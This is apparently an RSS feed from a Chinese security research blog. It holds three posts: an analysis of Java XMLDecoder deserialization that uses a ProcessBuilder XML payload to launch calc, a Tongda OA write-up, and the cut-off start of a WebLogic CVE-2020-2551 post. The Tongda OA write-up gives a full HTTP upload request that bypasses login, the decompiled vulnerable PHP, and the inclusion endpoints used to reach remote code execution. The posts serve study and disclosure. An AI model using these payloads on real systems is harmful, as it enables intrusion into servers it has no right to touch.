<p>在SAX中，读取到文档开头、结尾，元素的开头和结尾以及编码转换等操作时会触发一些回调方法，你可以在这些回调方法中进行相应事件处理：</p>
<ul>
<li>startDocument()</li>
<li>endDocument()</li>
<li>startElement()</li>
<li>endElement()</li>
<li>characters()</li>
</ul>
<p>自己实现一个基于SAX的解析可以帮我们更好的理解XMLDecoder</p>
<pre><code class="language-java ">package com.xml.java;

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;

public class DemoHandler extends DefaultHandler {
    public static void main(String[] args) {
        SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
        try {
            SAXParser parser = saxParserFactory.newSAXParser();
            DemoHandler dh = new DemoHandler();
            String path = "src/main/resources/calc.xml";
            File file = new File(path);
            parser.parse(file, dh);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void characters(char[] ch, int start, int length) throws SAXException {
        System.out.println("characters()");
        super.characters(ch, start, length);
    }

    @Override
    public void startDocument() throws SAXException {
        System.out.println("startDocument()");
        super.startDocument();
    }

    @Override
    public void endDocument() throws SAXException {
        System.out.println("endDocument()");
        super.endDocument();
    }

    @Override
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        System.out.println("startElement()");
        for (int i = 0; i &lt; attributes.getLength(); i++) {
            // getQName()是获取属性名称，
            System.out.print(attributes.getQName(i) + "="" + attributes.getValue(i) + ""n");
        }
        super.startElement(uri, localName, qName, attributes);
    }

    @Override
    public void endElement(String uri, String localName, String qName) throws SAXException {
        System.out.println("endElement()");
        System.out.println(uri + localName + qName);
        super.endElement(uri, localName, qName);
    }
}
</code></pre>
<p>输出了</p>
<pre><code class="">startDocument()
startElement()
characters()
startElement()
class="java.lang.ProcessBuilder"
characters()
startElement()
class="java.lang.String"
length="1"
characters()
startElement()
index="0"
characters()
startElement()
characters()
endElement()
string
characters()
endElement()
void
characters()
endElement()
array
characters()
startElement()
method="start"
endElement()
void
characters()
endElement()
object
characters()
endElement()
java
endDocument()
</code></pre>
<p>可以看到，我们通过继承SAX的DefaultHandler类，重写其事件方法，就能拿到XML对应的节点、属性和值。那么XMLDecoder也是基于SAX实现的xml解析，不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。接下来我们就来分析下XMLDecoder将XML解析为对象的过程。</p>
<h2>XMLDecoder反序列化分析</h2>
<p>所有的xml处理代码均在<code>com.sun.beans.decoder</code>包下。先弹一个计算器</p>
<pre data-language=XML><code class="language-markup ">&lt;java&gt;
    &lt;object class="java.lang.ProcessBuilder"&gt;
        &lt;array class="java.lang.String" length="1" &gt;
            &lt;void index="0"&gt;
                &lt;string&gt;calc&lt;/string&gt;
            &lt;/void&gt;
        &lt;/array&gt;
        &lt;void method="start"/&gt;
    &lt;/object&gt;
&lt;/java&gt;
</code></pre>
<pre><code class="language-java ">package com.xml.java;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class Main {
    public static void main(String[] args) {
        String path = "src/main/resources/calc.xml";
        File file = new File(path);
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(file);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xmlDecoder = new XMLDecoder(bis);
        xmlDecoder.readObject();
        xmlDecoder.close();
    }
}
</code></pre>
<p>运行弹出计算器，在java.lang.ProcessBuilder#start打断点，堆栈如下：</p>
<pre><code class="">start:1006, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:75, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:279, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:153, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:309, DocumentHandler (com.sun.beans.decoder)
endElement:606, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1303, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2717, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:607, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:489, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:835, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:764, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:123, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1210, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:568, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:302, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:366, DocumentHandler$1 (com.sun.beans.decoder)
run:363, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:76, ProtectionDomain$1 (java.security)
parse:363, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:21, Main (com.xml.java)
</code></pre>
<p>XMLDecoder跟进readObject()<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/8ca41da5-71ae-1dc2-269e-c00a60eddc11.png" alt="image.png" /></p>
<p>跟进parsingComplete()<br />
<img src="/wp-content/uploads/2020/04/8af767d7-2cb6-67e0-ffbd-8af757d6c6fb.png" alt="image.png" /></p>
<p>其中<code>this.handler</code>为<code>DocumentHandler</code><br />
<img src="/wp-content/uploads/2020/04/3cb12103-0220-df47-88ca-d683b1035731.png" alt="image.png" /></p>
<p>到这里进入<code>com.sun.beans.decoder.DocumentHandler#parse</code></p>
<p><img src="/wp-content/uploads/2020/04/6a686b4b-944d-332d-6d2e-2391deadedf5.png" alt="image.png" /></p>
<p>圈住的代码其实和我们写的<code>DemoHandler</code>里一模一样，通过<code>SAXParserFactory</code>工厂创建了实例，进而<code>newSAXParser</code>拿到SAX解析器，调用<code>parse</code>解析，那么接下来解析的过程，我们只需要关注DocumentHandler的几个事件函数就行了。</p>
<p>在<code>DocumentHandler</code>的构造函数中指定了可用的标签类型<br />
<img src="/wp-content/uploads/2020/04/19c3cebe-7013-707d-30f6-20157e5321d9.png" alt="image.png" /></p>
<p>对应了<code>com.sun.beans.decoder</code>包中的几个类<br />
<img src="/wp-content/uploads/2020/04/582e09fe-f9b2-c748-7e8a-7f7d020785a8.png" alt="image.png" /></p>
<p>在startElement中首先解析<code>java</code>标签，然后设置Owner和Parent。<br />
<img src="/wp-content/uploads/2020/04/833ef0cf-260b-d0f6-d8b0-f790528414d6.png" alt="image.png" /></p>
<p><code>this.getElementHandler(var3)</code>对应的就是从构造方法中放入<code>this.handlers</code>的hashmap取出对应的值，如果不是构造方法中的标签，会抛出异常。<br />
<img src="/wp-content/uploads/2020/04/918aa1ae-5b29-03da-e2c6-d515d003b6eb.png" alt="image.png" /></p>
<p>然后解析<code>object</code>标签，拿到属性之后通过addAttribute()设置属性<br />
<img src="/wp-content/uploads/2020/04/51c1f952-27fd-d15c-9bbd-3655c87cfcdc.png" alt="image.png" /></p>
<p>在addAttribute()没有对class属性进行处理，抛给了父类<code>com.sun.beans.decoder.NewElementHandler#addAttribute</code><br />
<img src="/wp-content/uploads/2020/04/05069f7a-c40e-28f8-3fd3-5d30e662077b.png" alt="image.png" /></p>
<p>会通过findClass()去寻找<code>java.lang.ProcessBuilder</code>类<br />
<img src="/wp-content/uploads/2020/04/fd98350b-cb96-d2c6-d713-d44f1051593f.png" alt="image.png" /></p>
<p>通过classloader寻找类赋值给type<br />
<img src="/wp-content/uploads/2020/04/c8089179-0e94-a8ea-8948-ac8d79e19055.png" alt="image.png" /></p>
<p>赋值完之后跳出for循环进入<code>this.handler.startElement()</code>，不满足条件。<br />
<img src="/wp-content/uploads/2020/04/41969012-d7b6-0bbc-0847-b0e2180d02c7.png" alt="image.png" /></p>
<p>接下来解析<code>array</code>标签，同样使用addAttribute对属性赋值<br />
<img src="/wp-content/uploads/2020/04/af6dda79-d0aa-d1e5-805d-8c09bf737c00.png" alt="image.png" /></p>
<p>同样抛给父类<code>com.sun.beans.decoder.NewElementHandler#addAttribute</code>处理<br />
<img src="/wp-content/uploads/2020/04/cf22d636-801c-3cac-0bec-f1ba80833477.png" alt="image.png" /></p>
<p>继续抛给父类<code>com.sun.beans.decoder.NewElementHandler#addAttribute</code><br />
<img src="/wp-content/uploads/2020/04/e924202e-606d-9155-64b5-32c5277056ea.png" alt="image.png" /></p>
<p>接下来继续设置length属性<br />
<img src="/wp-content/uploads/2020/04/d4e6dcad-d12c-55ba-8685-c48996fc4dc4.png" alt="image.png" /></p>
<p>最后进入<code>com.sun.beans.decoder.ArrayElementHandler#startElement</code><br />
<img src="/wp-content/uploads/2020/04/338d4b22-b22a-43af-a653-64311ae5d02c.png" alt="image.png" /></p>
<p>因为ArrayElementHandler类没有0个参数的getValueObject()重载方法，但是它继承了NewElementHandler，所以调用<code>com.sun.beans.decoder.NewElementHandler#getValueObject()</code><br />
<img src="/wp-content/uploads/2020/04/988b4d6d-d335-4f0c-61d9-5cfcabde7930.png" alt="image.png" /></p>
<p>这个getValueObject重新调用<code>ArrayElementHandler#getValueObject</code>两个参数的重载方法<br />
<img src="/wp-content/uploads/2020/04/931356c7-f9cb-7dda-5a7f-64ca3b946483.png" alt="image.png" /></p>
<p><code>ValueObjectImpl.create(Array.newInstance(var1, this.length))</code>创建了长度为1、类型为String的数组并返回，到此处理完array标签。</p>
<p>接着处理void，创建VoidElementHandler，设置setOwner和setParent。<br />
<img src="/wp-content/uploads/2020/04/b10fe71d-b6ef-e9ff-5db3-8816cacdc8f7.png" alt="image.png" /></p>
<p>调用父类<code>com.sun.beans.decoder.ObjectElementHandler#addAttribute</code>设置index属性<br />
<img src="/wp-content/uploads/2020/04/6b22f905-cea3-b4c9-4909-c9ae03474071.png" alt="image.png" /><br />
<img src="/wp-content/uploads/2020/04/69abeaf4-7f8e-237b-644e-baa3f219d57f.png" alt="image.png" /></p>
<p>继续解析string标签，不再赘述。</p>
<p>解析完所有的开始标签之后，开始解析闭合标签，最开始就是</string>，进入到endElement()<br />
<img src="/wp-content/uploads/2020/04/b4f65da3-f906-b923-7ca2-1b866f8039bd.png" alt="image.png" /></p>
<p>StringElementHandler没有endElement()，调用父类ElementHandler的endElement()<br />
<img src="/wp-content/uploads/2020/04/5ad1d68d-3f09-f7ba-2448-d7e978c95904.png" alt="image.png" /></p>
<p>调用本类的getValueObject()<br />
<img src="/wp-content/uploads/2020/04/6f2f4b9f-b262-3586-68d0-a2ae86a87686.png" alt="image.png" /><br />
设置value为calc。</p>
<p>接着闭合void<br />
<img src="/wp-content/uploads/2020/04/c30e5275-c570-f477-f3f3-4a88bf7bdb23.png" alt="image.png" /></p>
<p>闭合array<br />
<img src="/wp-content/uploads/2020/04/ac735251-6387-7516-a473-ea21929c05a2.png" alt="image.png" /></p>
<p>然后开始解析<code>&lt;void method="start"/&gt;</code><br />
<img src="/wp-content/uploads/2020/04/f6f5bcdc-cb12-a3f7-4d36-de1ba748edad.png" alt="image.png" /></p>
<p>通过父类的addAttribute将this.method赋值为start<br />
<img src="/wp-content/uploads/2020/04/4648a8a0-9e7c-60c2-e016-4335bcb6600e.png" alt="image.png" /></p>
<p>随后闭合void标签<br />
<img src="/wp-content/uploads/2020/04/d67caaa5-a26b-8204-66e3-d1c5fdaea5f6.png" alt="image.png" /></p>
<p>调用<code>endElement</code>，<code>VoidElementHandler</code>类没有，所以调用父类<code>ObjectElementHandler.endElement</code><br />
<img src="/wp-content/uploads/2020/04/78c08738-2a52-180f-1656-3cc2e960ec0c.png" alt="image.png" /></p>
<p>调用<code>NewElementHandler</code>类无参<code>getValueObject</code><br />
<img src="/wp-content/uploads/2020/04/2277d6d4-e914-3ba2-80a9-d8e1059af4d4.png" alt="image.png" /></p>
<p>然后调用<code>VoidElementHandler</code>类有参<code>getValueObject</code>，但是<code>VoidElementHandler</code>没有这个方法，所以调用<code>VoidElementHandler</code>父类<code>ObjectElementHandler</code>的有参<code>getValueObject</code></p>
<pre><code class="language-java ">protected final ValueObject getValueObject(Class&lt;?&gt; var1, Object[] var2) throws Exception {
        if (this.field != null) {
            return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
        } else if (this.idref != null) {
            return ValueObjectImpl.create(this.getVariable(this.idref));
        } else {
            Object var3 = this.getContextBean();
            String var4;
            if (this.index != null) {
                var4 = var2.length == 2 ? "set" : "get";
            } else if (this.property != null) {
                var4 = var2.length == 1 ? "set" : "get";
                if (0 &lt; this.property.length()) {
                    var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
                }
            } else {
                var4 = this.method != null &amp;&amp; 0 &lt; this.method.length() ? this.method : "new";
            }

            Expression var5 = new Expression(var3, var4, var2);
            return ValueObjectImpl.create(var5.getValue());
        }
    }
</code></pre>
<p>跟进<code>Object var3 = this.getContextBean()</code>，因为本类没有getContextBean()，所以调用父类NewElementHandler的getContextBean()<br />
<img src="/wp-content/uploads/2020/04/14dab24b-6989-1b40-04ca-61846ec61015.png" alt="image.png" /></p>
<p>继续调用NewElementHandler父类ElementHandler的getContextBean()<br />
<img src="/wp-content/uploads/2020/04/1c2ca5e4-4b54-793e-e2f5-e78e30fe8797.png" alt="image.png" /></p>
<p>会调用<code>this.parent.getValueObject()</code>也就是ObjectElementHandler类，而ObjectElementHandler没有无参getValueObject()方法，会调用其父类NewElementHandler的方法<br />
<img src="/wp-content/uploads/2020/04/fe81829f-64bc-2932-ab4b-295fc432e0f7.png" alt="image.png" /><br />
然后将值赋值给value返回</p>
<p>最终var3的值为<code>java.lang.ProcessBuilder</code>。<br />
<img src="/wp-content/uploads/2020/04/ea7e2b86-5a4b-b7f7-11d3-3eb2fc7a28fa.png" alt="image.png" /></p>
<p>var4赋值为start<br />
<img src="/wp-content/uploads/2020/04/24595096-5024-9acf-e183-3738aae6d572.png" alt="image.png" /></p>
<p>通过Expression的getValue()方法反射调用start，弹出计算器。</p>
<h2>Expression和Statement</h2>
<p>两者都是Java对反射的封装，举个例子</p>
<pre><code class="language-java ">package com.xml.java.beans;

public class User {
    private int id;
    private String name;

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + ''' +
                '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String sayHello(String name) {
        return String.format("你好 %s!", name);
    }
}
</code></pre>
<pre><code class="language-java ">package com.xml.java;

import com.xml.java.beans.User;

import java.beans.Expression;
import java.beans.Statement;

public class TestMain {
    public static void main(String[] args) {
        testStatement();
        testExpression();
    }

    public static void testStatement() {
        try {
            User user = new User();
            Statement statement = new Statement(user, "setName", new Object[]{"张三"});
            statement.execute();
            System.out.println(user.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void testExpression() {
        try {
            User user = new User();
            Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
            expression.execute();
            System.out.println(expression.getValue());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>运行结果</p>
<pre><code class="">张三
你好 小明!
</code></pre>
<p>Expression是可以获得返回值的，方法是getValue()。Statement不能获得返回值。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>通达OA 任意文件上传配合文件包含导致RCE</title>
		<link>/audit/1345.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Mar 2020 13:09:32 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[通达OA]]></category>
		<guid isPermaLink="false">/?p=1345</guid>

					<description><![CDATA[昨晚爆出来，今天早上分析分析。 复现 POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.124.138 Content-Leng...]]></description>
										<content:encoded><![CDATA[<p>昨晚爆出来，今天早上分析分析。<br />
<span id="more-1345"></span></p>
<h2>复现</h2>
<pre><code class="">POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.124.138
Content-Length: 463
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTfafXJtEseBHh3r1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: KEY_RANDOMDATA=3656; PHPSESSID=Y4er
Connection: close

------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.png"
Content-Type: application/octet-stream

&lt;?php echo 'Y4er';
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="P"

Y4er
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="DEST_UID"

12
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="UPLOAD_MODE"

1

</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318213312-1.png" alt="image" /></p>
<p>先上传文件，然后文件包含</p>
<p><img src="/wp-content/uploads/2020/03/20200318211780-1.png" alt="image" /></p>
<h2>文件上传</h2>
<p>代码是zend加密的，百度一搜一大把解密。</p>
<p>文件上传的代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
    ob_start();
    include_once 'inc/session.php';
    session_id($P);
    session_start();
    session_write_close();
} else {
    include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' &amp;&amp; !td_verify_ids($ids)) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
    $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
}
$MODULE = 'im';
if (1 &lt;= count($_FILES)) {
    if ($UPLOAD_MODE == '1') {
        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
        }
    }
    $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
    if (!is_array($ATTACHMENTS)) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . $ATTACHMENTS);
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    ob_end_clean();
    $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
    $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
    if ($TYPE == 'mobile') {
        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
    }
} else {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('无文件上传'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('文件上传失败'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if ($UPLOAD_MODE == '1') {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }
    $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
    $MSG_CATE = $_POST['MSG_CATE'];
    if ($MSG_CATE == 'file') {
        $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
    } else {
        if ($MSG_CATE == 'image') {
            $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
        } else {
            $DURATION = intval($DURATION);
            $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        }
    }
    $AID = 0;
    $POS = strpos($ATTACHMENT_ID, '@');
    if ($POS !== false) {
        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
    }
    $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0','' . $AID . '')';
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();
    if ($cursor === false) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('数据库操作失败'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    $dataBack = array('status' =&gt; 1, 'content' =&gt; $CONTENT, 'file_id' =&gt; $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit;
} else {
    if ($UPLOAD_MODE == '2') {
        $DURATION = intval($_POST['DURATION']);
        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('' . $_SESSION['LOGIN_UID'] . '', '' . $CONTENT . '', '' . time() . '')';
        $cursor = exequery(TD::conn(), $query);
        echo '+OK ' . $CONTENT;
    } else {
        if ($UPLOAD_MODE == '3') {
            if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
            echo '+OK ' . $ATTACHMENT_ID;
        } else {
            $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
            $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
            $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0')';
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
            if ($cursor === false) {
                echo '-ERR ' . _('数据库操作失败');
                exit;
            }
            if ($FILE_ID == 0) {
                echo '-ERR ' . _('数据库操作失败2');
                exit;
            }
            echo '+OK ,' . $FILE_ID . ',' . $msg_id;
            exit;
        }
    }
}
</code></pre>
<p>关键点在于<br />
<img src="/wp-content/uploads/2020/03/20200318211110-1.png" alt="image" /></p>
<p>POST提交P参数，就不会引入auth.php，进而绕过登陆。</p>
<p><img src="/wp-content/uploads/2020/03/20200318218839-1.png" alt="image" /></p>
<p>然后就是需要传一个DEST_UID参数来过exit，只要不为0或空的数字都可以。然后就可以走到upload函数了，接下来如果<code>$UPLOAD_MODE == '1'</code>就会把<code>ATTACHMENT_ID</code>输出出来，这个id其实就是我们马的文件名，但是因为不在web目录，所以需要一个文件包含。</p>
<h2>文件包含</h2>
<p>代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
    if (preg_match('/[^a-z0-9;]+/i', $P)) {
        echo _('非法参数');
        exit;
    }
    session_id($P);
    session_start();
    session_write_close();
    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
        echo _('RELOGIN');
        exit;
    }
}
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key =&gt; $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys =&gt; $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        include_once $url;
    }
    exit;
}
</code></pre>
<p>这里不传P参数就能绕过exit了，然后走到下面的include_once进行文件包含造成RCE。</p>
<h2>其他</h2>
<p>我的环境是通达oa2017，2020/03/18从官网下的。php.ini默认禁用了<code>disable_functions = exec,shell_exec,system,passthru,proc_open,show_sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>,phpinfo</code>，不知道其他版本是什么情况。参考使用com组件绕过disable_function</p>
<p><span class="wpcom_tag_link"><a href="/tags/%e9%80%9a%e8%be%beoa" title="通达OA" target="_blank">通达OA</a></span>之前报过变量覆盖的洞，所以你要知道直接传入的参数就会被覆盖掉变量里，这也是上面UPLOAD_MODE、P、DEST_UID可以直接传入的原因。</p>
<p>有些版本gateway.php路径不同，例如2013：</p>
<pre><code class="">/ispirit/im/upload.php
/ispirit/interface/gateway.php
</code></pre>
<p>例如2017：</p>
<pre><code class="">/ispirit/im/upload.php
/mac/gateway.php
</code></pre>
<h2>参考链接</h2>
<ul>
<li>http://www.tongda2000.com/news/673.php</li>
<li>http://club.tongda2000.com/forum.php?mod=viewthread&amp;tid=128377</li>
<li>https://github.com/jas502n/OA-tongda-RCE</li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[内置工具]Weblogic CVE-2020-2551 IIOP协议反序列化RCE</title>
		<link>/audit/1282.html</link>
					<comments>/audit/1282.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 28 Feb 2020 09:46:09 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[IIOP]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1282</guid>

					<description><![CDATA[IIOP协议导致的反序列化。 环境 weblogic10.3.6+jdk1.6 idea+jdk1.8+jdk1.6 IIOP IIOP，Internet Inter-ORB Pr...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/iiop" title="IIOP" target="_blank">IIOP</a></span>协议导致的<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>。<br />
<span id="more-1282"></span></p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>10.3.6+jdk1.6<br />
idea+jdk1.8+jdk1.6</p>
<h2>IIOP</h2>
<p>IIOP，Internet Inter-ORB Protocol(互联网内部对象请求代理协议)，它是一个用于CORBA 2.0及兼容平台上的协议；用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。</p>
